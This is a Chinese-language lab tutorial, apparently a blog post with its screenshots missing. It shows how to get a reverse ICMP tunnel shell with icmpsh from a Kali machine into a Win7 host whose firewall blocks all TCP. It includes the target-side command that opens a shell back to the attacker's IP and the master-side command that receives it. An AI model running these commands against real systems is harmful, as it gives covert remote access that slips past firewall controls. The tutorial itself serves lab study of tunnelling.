环境
攻击机:kali 2021
网卡:桥接模式
ip 地址:192.168.0.150
目标机:win7
网卡:桥接模式
ip 地址:192.168.0.108
环境准备
搭建一个环境:攻击机和目标机互相无法 TCP 连接,只能 ICMP ping 的环境。
win7
防火墙启用 ICMP 入站规则(公网):
创建屏蔽 TCP 所有端口的入站规则和出站规则,并启用:


开启远程桌面连接,等会用 kali 攻击机测试是否真的无法 TCP 连接 win7 目标机,而只能 ping 它:
准备阶段测试
kali ping win7:
win7 ping kali:
用 telnet 测试 kali 是否能 TCP 连接 win7 的 3389。结果为无法连接:
要测试 win7 是否能 TCP 连接 kali 的话,可以先在 kali 用 python 开启 http 服务:
然后在 win7 用浏览器访问这个服务,结果为无法连接:
安装 icmpsh
下载 icmpsh
github:GitHub - bdamele/icmpsh: Simple reverse ICMP shell
kali 直接用 git 下不动,所以我到 github 下载 zip 包并解压:
unzip icmpsh-master.zip
icmpsh 有 C、Perl 和 python 三个版本,默认在 run.sh 脚本运行的是 python 版本,并且是 python 2.7。直接运行 run.sh 会有问题,所以要改改 run.sh 脚本。此外,要下载它需要适用于 python2.7 的 impacket 包。
修改 run.sh
(1)先执行 python 命令看一下执行的是哪个 python 版本:
(2)如果是 python 2.7,那就跳过“修改 run.sh 脚本”这一步。如果你跟我一样是 python 3.x,那就修改一下 run.sh 第 44 行的 “python” 为 “python2”。
(3)还有,kali 的 ifconfig 命令显示的信息跟其他 linux 版本不一样,所以要改改 run.sh 的 2 条语句:
安装 impacket
因为 apt 源已经没有 python 2 的 impacket,直接 pip 是给 python 3 安装的(不知道怎么给 python 2 安装...),所以到 PyPi 库下载:impacket · PyPI,往下拉可以看到:
下载、解压、安装:
tar -zxf impacket-0.9.19.tar.gz
cd impacket-0.9.19
python2 setup.py install
PS:python 自带的库在 /usr/lib/,第三方库安装在 /usr/local/lib/。
反弹 ICMP 隧道 shell
kali 运行 run.sh:
输入 win7 目标机的 IP 地址,回车就会进入监听状态:
在 win7 目标机运行 icmpsh.exe:icmp.exe -t 192.168.0.150。
再看 kali 这边:
反弹成功。
其他
其实直接用 python 脚本:
python2 icmpsh_m.py 192.168.0.150 192.168.0.108